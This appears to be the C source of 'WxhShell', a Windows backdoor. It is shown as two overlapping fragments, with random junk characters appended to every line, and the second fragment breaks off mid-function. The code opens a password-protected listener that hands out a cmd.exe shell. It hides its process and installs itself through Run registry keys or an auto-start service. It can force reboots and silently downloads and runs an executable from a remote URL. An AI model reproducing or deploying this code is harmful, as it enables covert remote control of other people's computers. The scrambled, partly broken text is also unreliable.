    if(Boot(SHUTDOWN)) %GIr&V4|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K,:N   
    else { ps DetP  
    closesocket(wsh); iMRwp+$  
    ExitThread(0); 26x[X.C:  
    } Nu~lsWyRI5  
    break; 0Z]!/AsC  
    } =zs`#-^8  
  // 获取shell g9 5`.V}  
  case 's': { 2jCfT>`3  
    CmdShell(wsh); 2SR:FUV/  
    closesocket(wsh); PRE|+=w$  
    ExitThread(0); d9|<@A  
    break; `,*5wBC  
  } }?v )N).kW  
  // 退出 LC!bIm5'  
  case 'x': { ^&Y#)II  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4#hSJ(~7S  
    CloseIt(wsh); I4?5K@a  
    break; t}tEvh  
    } 07=mj%yV  
  // 离开 4)o  
  case 'q': { [Cv/{f3]u{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )p%E%6p  
    closesocket(wsh); P\)iZiGc  
    WSACleanup(); BsYa3d=}  
    exit(1); Q6I:"2u1  
    break; O463I.XAP  
        } W#3Q ^Z?  
  } gEE\y{y  
  } *<ewS8f*6  
!0mI;~q|F  
  // 提示信息 ]-QA'Lq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $5Ff1{  
} W-zP/]Dh  
  } _b;{_g  
%&t<K3&Yh  
  return; e'D&8z_;  
} "C0Q(dr/n  
x{/g(r={}  
// shell模块句柄 7o5BXF  
int CmdShell(SOCKET sock) Czu\RXJR  
{ oIj#>1~c%  
STARTUPINFO si; P1' al  
ZeroMemory(&si,sizeof(si)); 3"KCh\\b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [Nbm|["q~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t" Z6[XG  
PROCESS_INFORMATION ProcessInfo; c.F6~IHu7  
char cmdline[]="cmd"; (n9g kO&8"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $43qME  
  return 0; ]1pIj i[  
} >]5P 3\AQV  
6MdiY1Lr!K  
// 自身启动模式 _X"N1,0  
int StartFromService(void) ,f;}|d:r  
{ WWHoi{ q  
typedef struct >%8KK|V{  
{ |R\>@Mg#B  
  DWORD ExitStatus; _Qi&J.U>  
  DWORD PebBaseAddress; ^\&e:Nkh  
  DWORD AffinityMask; M,mvys$  
  DWORD BasePriority; PGV/ h  
  ULONG UniqueProcessId; PQ$%H>{  
  ULONG InheritedFromUniqueProcessId; Jidwt$1l(  
}   PROCESS_BASIC_INFORMATION; N7 $I^?<  
__GqQUQ  
PROCNTQSIP NtQueryInformationProcess; ve2u=eQ1  
pYZ6e_j1 ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; % 0+j?>#X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =CVBBuVy  
]R9HyCl&a6  
  HANDLE             hProcess; x-.?HS[  
  PROCESS_BASIC_INFORMATION pbi; 6h,(wo3Y  
XtSkh] #z!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?\s+EE&-  
  if(NULL == hInst ) return 0; s 3f-7f<  
6 EC*   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DG ;_Vg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C-6F]2:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .qZ~_xkd  
Zu("#cA.H  
  if (!NtQueryInformationProcess) return 0; 9=h'9Wo  
91-o}|3v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1--C~IjJ+  
  if(!hProcess) return 0; V"G*N<q  
KP5C} ZK+s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E+g@M8D  
NDlF0f  
  CloseHandle(hProcess); ]B3=lc"  
n'kG] Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bU:EqW\(^  
if(hProcess==NULL) return 0; =sJ7=39  
.ndCfdy~  
HMODULE hMod; yS(fILV  
char procName[255]; 2:7zG "$  
unsigned long cbNeeded; sAS:-wp  
PV\+P6aIb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >$7v ;Q  
0C irfcs}Z  
  CloseHandle(hProcess); ^c4@(]v'G  
KZ ;k)O.Ov  
if(strstr(procName,"services")) return 1; // 以服务启动 ?+W 9az]+  
qr4pR-Gdr  
  return 0; // 注册表启动 mA+&Io  
} J1I ;Jgql(  
Za3]d+qm  
// 主模块 dP<=BcH>f  
int StartWxhshell(LPSTR lpCmdLine) 'o+L41  
{ 6ZG+ZHUC&  
  SOCKET wsl; -$jEfi4I  
BOOL val=TRUE; ``Dq  
  int port=0; I]<_rN8~o  
  struct sockaddr_in door; {kCw+eXn?  
MLje4  
  if(wscfg.ws_autoins) Install(); ]#l/2V1  
LO khjHR  
port=atoi(lpCmdLine); &cHV7  
Yu[ t\/  
if(port<=0) port=wscfg.ws_port; Raxrb=7  
+*T7@1  
  WSADATA data; 4C-jlm)V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hj B@o#S  
Ba*,-i3ZK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4c$ zKqz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "2P&X  
  door.sin_family = AF_INET; r(aLEJ"u?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V4P; 5[  
  door.sin_port = htons(port); Jz.NHiLct1  
7;sj%U^'l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CBOi`bEf  
closesocket(wsl); / !Wu D\B  
return 1; m-*i>4;  
} wNtx]t_M  
0Lc9M-Lg  
  if(listen(wsl,2) == INVALID_SOCKET) { h[1MtmNw  
closesocket(wsl); 6c"0})p  
return 1; 28H8l2{[>  
} RIXMJ7e7  
  Wxhshell(wsl); dC $Em@Nb  
  WSACleanup(); p|jV{P  
i;jw\ed  
return 0; )Xak JU^o  
%Nhx;{  
} 8V)^R(\;  
AW_(T\P:u  
// 以NT服务方式启动 n'01Hh`0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YW`,v6  
{ 2H6,'JK@F  
DWORD   status = 0; 3k# /{Z  
  DWORD   specificError = 0xfffffff; ~j5x+yC  
gb> }v7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jJY"{foWV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZF|+W?0&%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vj\dA2!~  
  serviceStatus.dwWin32ExitCode     = 0; *@Y3oh}S  
  serviceStatus.dwServiceSpecificExitCode = 0; ,(?po (']  
  serviceStatus.dwCheckPoint       = 0; RIE5KCrGB  
  serviceStatus.dwWaitHint       = 0; 5ish\"  
jhu&& ==\f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `v}%33$hA  
  if (hServiceStatusHandle==0) return; Nwt" \3  
6290ZNvr  
status = GetLastError(); !V\Q<So<  
  if (status!=NO_ERROR) T[4<R 5}  
{ ;._7jFj.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~aOuG5 XK  
    serviceStatus.dwCheckPoint       = 0; wUQw!%?>  
    serviceStatus.dwWaitHint       = 0; UkHY[M7;  
    serviceStatus.dwWin32ExitCode     = status; +$(2:S*r  
    serviceStatus.dwServiceSpecificExitCode = specificError; OD 3f.fT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %4 XJn@J  
    return; 0=q;@OIf  
  } 9,_mS{+B  
uN^=<B?B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :ORR_f`>  
  serviceStatus.dwCheckPoint       = 0; OhmQ,  
  serviceStatus.dwWaitHint       = 0; GbA.UM ~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T4 N~(Fi)  
} HXYRH  
H_Kj7(=&>  
// 处理NT服务事件,比如:启动、停止 b0A1hb[|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qb; d:@9  
{ n?ctLbg  
switch(fdwControl) ''^Y>k  
{ !\#_Jw%y  
case SERVICE_CONTROL_STOP: K ryo}  
  serviceStatus.dwWin32ExitCode = 0; bb`':3%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O Xi@c;F  
  serviceStatus.dwCheckPoint   = 0; |*Yf.-  
  serviceStatus.dwWaitHint     = 0; #gaQaUjR  
  { >,gvb5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M- 2Tz[  
  } c.f"Gv  
  return; f%)zg(YlO  
case SERVICE_CONTROL_PAUSE: G,<T/f .{$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -:9P%jWt  
  break; h:)Ci!D;  
case SERVICE_CONTROL_CONTINUE: 7`H 1f]d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q@~L&{  
  break; I3:[= ,5  
case SERVICE_CONTROL_INTERROGATE: L0]_hxE?  
  break; |U k" {  
}; :@xm-.D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -;XKcS7Ue  
} 1w0OKaF5  
s(LT  
// 标准应用程序主函数 -MugnB6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,prF6*g+WE  
{ <{:  
Op? OruT[  
// 获取操作系统版本 ow;R$5G  
OsIsNt=GetOsVer(); BH@)QVs-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -/dEsgO  
xwZ8D<e-,  
  // 从命令行安装 \cJ-Dd  
  if(strpbrk(lpCmdLine,"iI")) Install(); $W42vjr4  
]$ b<Gs  
  // 下载执行文件 MfBdNdox7  
if(wscfg.ws_downexe) { y3;q_4.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FNQX7O52  
  WinExec(wscfg.ws_filenam,SW_HIDE); +P`(Rf"luu  
} _uu<4c   
9>#:/g/  
if(!OsIsNt) { %_aMl  
// 如果时win9x,隐藏进程并且设置为注册表启动 6V+ qnUk  
HideProc(); Ld,5iBiO:  
StartWxhshell(lpCmdLine); (5Tvsw`  
} x2#qg>`l  
else Lx U={Y0  
  if(StartFromService()) _0 snAt^iC  
  // 以服务方式启动 y8bM<e2 U  
  StartServiceCtrlDispatcher(DispatchTable); Uo_tUp_Q  
else k)FmDX  
  // 普通方式启动 8{Fm[ %"  
  StartWxhshell(lpCmdLine); 6`"M  
M}"r#Plq  
return 0; + f;CyMEp  
} L1)@z8]   
=KX<_;E  
%YlTF\-  
FkupO I  
=========================================== h? yG<>wI  
pY^9l3y^  
A~{f/%8D  
gCVryB@z2  
9f}XRz  
 QI!i  
" :PnSQjV:  
oeL5}U6>g  
#include <stdio.h> ;<G<1+  
#include <string.h> x@cN3O  
#include <windows.h> Lg`Jp&Kg  
#include <winsock2.h> xwzT#DXGJ  
#include <winsvc.h> |AH@ EI>  
#include <urlmon.h> re,.@${H  
r7!J&8;{K  
#pragma comment (lib, "Ws2_32.lib") qG >DTKIU  
#pragma comment (lib, "urlmon.lib") f!-Sz/c#  
fjDpwb:x)  
#define MAX_USER   100 // 最大客户端连接数 c! H 9yk  
#define BUF_SOCK   200 // sock buffer ._p""'Sa  
#define KEY_BUFF   255 // 输入 buffer /k7wwZiY@  
 ?9u4a_x  
#define REBOOT     0   // 重启 H=zN[MU  
#define SHUTDOWN   1   // 关机 $-@$i`Kf/  
Q)Dwq?  
#define DEF_PORT   5000 // 监听端口 O rk  
abY0)t  
#define REG_LEN     16   // 注册表键长度 {.#zHL ;  
#define SVC_LEN     80   // NT服务名长度 U?U(;nSR\A  
]u&dJL  
// 从dll定义API `h;}3r#R{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); liNON  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Plz-7fy33  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + >sci  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TIRHT`"i  
zw:/!MS  
// wxhshell配置信息 r2G*!qK*1  
struct WSCFG { gB CC  
  int ws_port;         // 监听端口 m(3);)d  
  char ws_passstr[REG_LEN]; // 口令 'rV2Bt,  
  int ws_autoins;       // 安装标记, 1=yes 0=no .{N\<01  
  char ws_regname[REG_LEN]; // 注册表键名 '}O!2W&Y]%  
  char ws_svcname[REG_LEN]; // 服务名 ,eELRzjl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R/N<0!HZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j3 P RAe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @]3*B %t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %^^h) Wy}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p6blD-v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X"J%R/f  
rZ866\0  
};  $o+&Y5:  
(/q}mB  
// default Wxhshell configuration ._BB+G  
struct WSCFG wscfg={DEF_PORT, Hz4uZ*7\|  
    "xuhuanlingzhe", "=`~iXT{e  
    1, ~ iT{8  
    "Wxhshell", DM/hcY$MW  
    "Wxhshell", z`9l<Q/  
            "WxhShell Service", p[P[#IeL  
    "Wrsky Windows CmdShell Service", aT/KT,!  
    "Please Input Your Password: ", HU3Vv<lz  
  1, |7S:l9;  
  "http://www.wrsky.com/wxhshell.exe", c20|Cx2m  
  "Wxhshell.exe" qi[(*bFK7  
    }; ]EX--d<_`  
LI$L9eNv;Y  
// 消息定义模块 WA$ p_% r=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s{%fi*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &x/k^p=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @S}|Ccfc_  
char *msg_ws_ext="\n\rExit."; i~AJ.@ #  
char *msg_ws_end="\n\rQuit."; 'h:!m/1  
char *msg_ws_boot="\n\rReboot..."; 'qlxAYw<f  
char *msg_ws_poff="\n\rShutdown..."; =[8d@d\  
char *msg_ws_down="\n\rSave to "; r2)pAiTM*  
^AH-+#5  
char *msg_ws_err="\n\rErr!"; L3' \r  
char *msg_ws_ok="\n\rOK!"; v*gLNB,ZH  
a j_:|]j  
char ExeFile[MAX_PATH]; `w(sXkeaI  
int nUser = 0; $ACe\R/%  
HANDLE handles[MAX_USER]; [EcV\.  
int OsIsNt; g BH?l/  
%1@.7 uTN  
SERVICE_STATUS       serviceStatus; n K0hTQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z+2u-jG  
kOzt"t&  
// 函数声明 O^Dc&w  
int Install(void); |3W3+Rn!  
int Uninstall(void); $/y%[ .  
int DownloadFile(char *sURL, SOCKET wsh); fzOMX z  
int Boot(int flag); iPJ9Gh7  
void HideProc(void); 'NRN_c9  
int GetOsVer(void); >R) F}  
int Wxhshell(SOCKET wsl); gtl;P_  
void TalkWithClient(void *cs); ,$SkaTBe  
int CmdShell(SOCKET sock); {K6Kx36  
int StartFromService(void); |4LQ\'N&  
int StartWxhshell(LPSTR lpCmdLine); (O<abB(  
!c v6 #:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u<J2p?`\&`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %j!z\pa  
TosPk(o(  
// 数据结构和表定义 "&s9cO.H  
SERVICE_TABLE_ENTRY DispatchTable[] = Ed8U;U b  
{ HK=CP0H  
{wscfg.ws_svcname, NTServiceMain}, {[rO2<MkA#  
{NULL, NULL} @ICejB<  
}; t P At?  
ArLz;#AOn  
// 自我安装 p}cd}@cQ6  
int Install(void) u_hE7#i  
{ ktdz@f  
  char svExeFile[MAX_PATH]; T;xHIg4  
  HKEY key; +YkmLD  
  strcpy(svExeFile,ExeFile); Nt?2USTs-  
{: Am9B  
// 如果是win9x系统,修改注册表设为自启动 P((S2"D<4  
if(!OsIsNt) { )jp{*?^\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IH*U!_ `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c g3Cl[s  
  RegCloseKey(key); ,7WK<0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oR!n bm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); []sB^UT  
  RegCloseKey(key); + 6i7,U  
  return 0; ktkn2Twa/  
    } d)pz  
  } f/$-Nl.  
} ;Hz`0V  
else { 8N</Yi|n  
V!jK3vc  
// 如果是NT以上系统,安装为系统服务 }D&"z8mP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  3J'Bm"  
if (schSCManager!=0) 5e~ j  
{ (xjoRbU*  
  SC_HANDLE schService = CreateService OtrXYiKB   
  ( 5#N"WHz!  
  schSCManager, ?[a7l:3-[  
  wscfg.ws_svcname, mgJ]@s}9  
  wscfg.ws_svcdisp, %N?W]vbra  
  SERVICE_ALL_ACCESS, e3oYy#QNk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t1*BWY  
  SERVICE_AUTO_START, /\oyPD`((  
  SERVICE_ERROR_NORMAL, ZEXj|wC  
  svExeFile, ]x5(bnW x  
  NULL, _>Pe]3  
  NULL, cQUH%7m  
  NULL, 3> n2  
  NULL, i`ZHjW~`  
  NULL Wme1Uid  
  ); k:(e79  
  if (schService!=0) ~(*co[_  
  { Q8M:7#ySji  
  CloseServiceHandle(schService); 4F1.D9u  
  CloseServiceHandle(schSCManager); S>vVjq?~l(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q KDb  
  strcat(svExeFile,wscfg.ws_svcname); )edU <1P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0& SrKn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ot4;,UZ  
  RegCloseKey(key); hr$VVbOho  
  return 0; "`V"2zZlj  
    } *1 J#Mdd  
  } 0|wKR|zW  
  CloseServiceHandle(schSCManager); l{D,O?`Av  
} )0 42?emn  
}  5K_N  
GakmROZ@9  
return 1; <*~BG)b  
} t Sh}0N)  
=4w^)'/  
// 自我卸载 ]'bQ(<^#  
int Uninstall(void) #4|i@0n}D  
{ O. .@<.  
  HKEY key; !m/Dd0  
=^%Pwkz  
if(!OsIsNt) { ^r?sgJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;?Y` e  
  RegDeleteValue(key,wscfg.ws_regname); "*H'bzK  
  RegCloseKey(key); A=YEY n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D/%b@Ls2ze  
  RegDeleteValue(key,wscfg.ws_regname); }IalgQ(i  
  RegCloseKey(key); $M8>SLd  
  return 0; C\hZ;Z1  
  } .AmM%I4K  
} "n2xn%t{  
} \Kzt*C-ZH  
else { 6jy n,GU  
*{p& Fy55  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a?Qcf;o  
if (schSCManager!=0) .of:#~  
{ \`iW__  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M0"g/W  
  if (schService!=0) q0KXuMK  
  { K:mL%o2J  
  if(DeleteService(schService)!=0) { H* JC`:  
  CloseServiceHandle(schService); ;?L[]Ezzt  
  CloseServiceHandle(schSCManager); FoelOq6  
  return 0; ]&tr\-3  
  } uD*s^  
  CloseServiceHandle(schService); v %PWr5]  
  } }rAN2D]"}  
  CloseServiceHandle(schSCManager); i!+3uHWu`)  
} R.WsC bU  
} L|xen*O  
V/wc[p ~  
return 1; zZjLt1  
} jX8C2}j  
,I:m*.q  
// 从指定url下载文件 tH|Q4C  
int DownloadFile(char *sURL, SOCKET wsh) =A&*SE o5  
{ FSZoT!  
  HRESULT hr; +Gwe%p Q  
char seps[]= "/"; &DhA$o"'  
char *token; Appz1q  
char *file; GWE0 UO}  
char myURL[MAX_PATH]; 'jlXLb  
char myFILE[MAX_PATH]; aKFA&Xnsl  
\f Fy$  
strcpy(myURL,sURL); t=\[J+  
  token=strtok(myURL,seps); M,! no  
  while(token!=NULL) u|*| RuY  
  { [q{Txe  
    file=token; dcTM02kEh  
  token=strtok(NULL,seps);  #=~1hk  
  } oX~$'/2v  
oZcwbo8  
GetCurrentDirectory(MAX_PATH,myFILE); &Or=_5Y`  
strcat(myFILE, "\\"); w\;9&;;  
strcat(myFILE, file); T9v#Jb6  
  send(wsh,myFILE,strlen(myFILE),0); bFxJ|  
send(wsh,"...",3,0); ?RAR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); adPU)k_j:  
  if(hr==S_OK) zZ0V6T}  
return 0; teNQUIe-  
else 1?$!y  
return 1; Dj&bHC5%  
2o}G<7r  
} r!gCh`PiK  
;Sl0kSu  
// 系统电源模块 #$rT 4N c;  
int Boot(int flag) i1\ /\^  
{ 6i=wAkn_J  
  HANDLE hToken; naCI55Wx  
  TOKEN_PRIVILEGES tkp; G9":z|  
5 9HaTq  
  if(OsIsNt) { Bo(l!G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dnc!=Z89  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tpzdYokh >  
    tkp.PrivilegeCount = 1; l0 :xQV`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (G!J==  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eZkz 1j~  
if(flag==REBOOT) { $5(%M8qmQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L k+1r8  
  return 0; ##ea-"m8  
} fx"+ZR  
else { Z`KXXlJ^i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r>@/XYK&\  
  return 0; !+ hgKZ]  
} \-id[zKb  
  } T mE4p  
  else { &b8D'XQu  
if(flag==REBOOT) { qz SI cI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +-137!x\q  
  return 0; \uIC<#o"N  
} FLOJ  
else { 2 ~'quA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $466? oI  
  return 0; [cs8/Q8+  
} WX"M_=lc-@  
} `W S  
/Loe y   
return 1; y_r6T XnGL  
} 64s;6=  
a-5$GvG  
// win9x进程隐藏模块 SkUP9  
void HideProc(void) IsL/p3|  
{ x"T^>Q  
O:R{4Q*5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {<8#T`I  
  if ( hKernel != NULL ) <p .[E]a2_  
  { l0 _O<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  e n":  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !g:UM R  
    FreeLibrary(hKernel); 4w[ta?&6B  
  } Z%Kj^ M  
Z:Am\7 I  
return; y>PbYjuIU  
} [D\AVx&  
\OH:xW~  
// 获取操作系统版本 w!M ^p&T7  
int GetOsVer(void) I{bi3y0  
{ Rgu^> ~   
  OSVERSIONINFO winfo; rP_)*)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?K#$81;[  
  GetVersionEx(&winfo); u9(AT>HxT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fXj  
  return 1; ?^p8]Va%  
  else -]%@,L^@  
  return 0; SO"P3X  
} ?sE21m?b-  
;zODp+4@Q  
// 客户端句柄模块 ;wZ.p"T9^  
int Wxhshell(SOCKET wsl) IgJC>;]u  
{ WFG/vzJ  
  SOCKET wsh; h08T Q=n  
  struct sockaddr_in client; G= e[TR)i  
  DWORD myID; Z0KA4O$eL  
Cv33?l-8%_  
  while(nUser<MAX_USER) J$[Vm%56  
{ $la,_Sr  
  int nSize=sizeof(client); cB^lSmu5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !hUyX}{`j  
  if(wsh==INVALID_SOCKET) return 1; e +U o-CO  
gw:BKR'o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ipG+qj/=  
if(handles[nUser]==0) j*}xe'#  
  closesocket(wsh); "H8N,eb2  
else `PfC:L  
  nUser++; 8wOPpdc  
  } }$jIvb,3?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C.O-iBVe#  
t[Q\T0E  
  return 0; PX] v"xf  
} r>\.b{wI  
m{|n.b  
// 关闭 socket cxV3Vrx@A  
void CloseIt(SOCKET wsh) X*@S j;|m  
{ sXA=KD8  
closesocket(wsh); >b0}X)Z+U  
nUser--; NG ~sE&,7  
ExitThread(0); L 'y+^L|X  
} .E(Ucnz/  
7JbrIdDl|  
// 客户端请求句柄 4[D@[k As  
void TalkWithClient(void *cs) +FI]0r  
{ 1ARIZ;H  
+}]xuYzo  
  SOCKET wsh=(SOCKET)cs; lOZZ-  
  char pwd[SVC_LEN]; umk[\}Ip+P  
  char cmd[KEY_BUFF]; }tN"C 3)@  
char chr[1]; ~7|z2L  
int i,j; sy;~(rpg  
<#sK~G  
  while (nUser < MAX_USER) { Em;zi.Y+V  
J c*A\-qC.  
if(wscfg.ws_passstr) { 3~ylBJJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S:wmm}XQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _F3:j9^  
  //ZeroMemory(pwd,KEY_BUFF); 1QThAFN  
      i=0; 6;Bqu5_Cj  
  while(i<SVC_LEN) { _:J! |'  
{.v+ iSM  
  // 设置超时 eG.?s ;J0  
  fd_set FdRead; ==& =3  
  struct timeval TimeOut; ] '..G-  
  FD_ZERO(&FdRead); o&zeOJW  
  FD_SET(wsh,&FdRead); s&4Y+dk93  
  TimeOut.tv_sec=8; c(:GsoO  
  TimeOut.tv_usec=0; n=`UhC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ebf0;1!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @>?&Mw\c  
/)N[tv2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HQ"D>hsuU  
  pwd=chr[0]; :EZTJu  
  if(chr[0]==0xd || chr[0]==0xa) { rc"yEI-``"  
  pwd=0; AyddkjX  
  break; SKGYmleR  
  } {B 34^H:  
  i++; ]O^!P,l)"  
    } {=TD^>?  
_|3n h;-m  
  // 如果是非法用户,关闭 socket _95V"h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I<DS07K  
} !I@"+oY<  
7P=j2;7 v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *+5AN306  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uCx\Bt"VI  
k z<We/  
while(1) { N/(&&\3  
{$b]K-B  
  ZeroMemory(cmd,KEY_BUFF); {JMFCc[  
#,Rmu  
      // 自动支持客户端 telnet标准   o@ }Jd0D4  
  j=0; :*1bhk8~  
  while(j<KEY_BUFF) { 1N2s[ \q$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _jp8;M~Z  
  cmd[j]=chr[0]; 9M<{@<]dm  
  if(chr[0]==0xa || chr[0]==0xd) { -[Q%Vv!8  
  cmd[j]=0; |iJ37QIM  
  break; dF"Sz4DY#  
  } ~u3E+w  
  j++; M '[.ay  
    } lf&g *%?1  
(h%!Kun  
  // 下载文件 ;a2TONW   
  if(strstr(cmd,"http://")) { k? X7h2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Iq MXd K|  
  if(DownloadFile(cmd,wsh)) |oa 9 g2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G}d@^9FkE  
  else K[O'@v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); npZ=x-ce  
  } t0(1qFi  
  else { 'Tj9btM*cL  
qdWsP9}q  
    switch(cmd[0]) { l-g+E{ZM  
